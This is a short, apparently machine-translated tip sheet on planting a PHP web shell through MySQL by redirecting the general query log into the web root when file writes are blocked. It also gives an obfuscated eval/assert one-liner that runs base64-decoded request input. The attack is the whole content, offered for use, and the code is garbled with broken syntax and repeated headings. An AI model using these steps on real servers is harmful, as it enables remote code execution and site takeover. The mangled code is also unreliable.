SQL statement writes shell with log

OutFile is forbidden, or written files are intercepted;

Operations in the database are as follows: (must be root permission)

Show variables like '%general% ';  # View Configuration  Global general_log = on;  # turn on general log mode  Global general_log_file = '/var/www/html/1.php ';   # set the log directory as the shell address  ' <?php eval ($_post[cmd]);? > '  # write to Shell

SQL query-free SHELL statement

$p = Array (' f ' = = ' A ', ' pffff ' = ' s ', ' e ' = ' fffff ', ' lfaaaa ' = ' r ', ' nnnnn ' = ' t '); $a = Array_keys ($p); $_=$p[' pffff ']. $p [' Pffff ']. $a [2]; $_= ' a '. $_. ' RT '; $_ (Base64_decode ($_request[' username ')); > "

SQL statement writes shell with log

SQL statement writes shell with log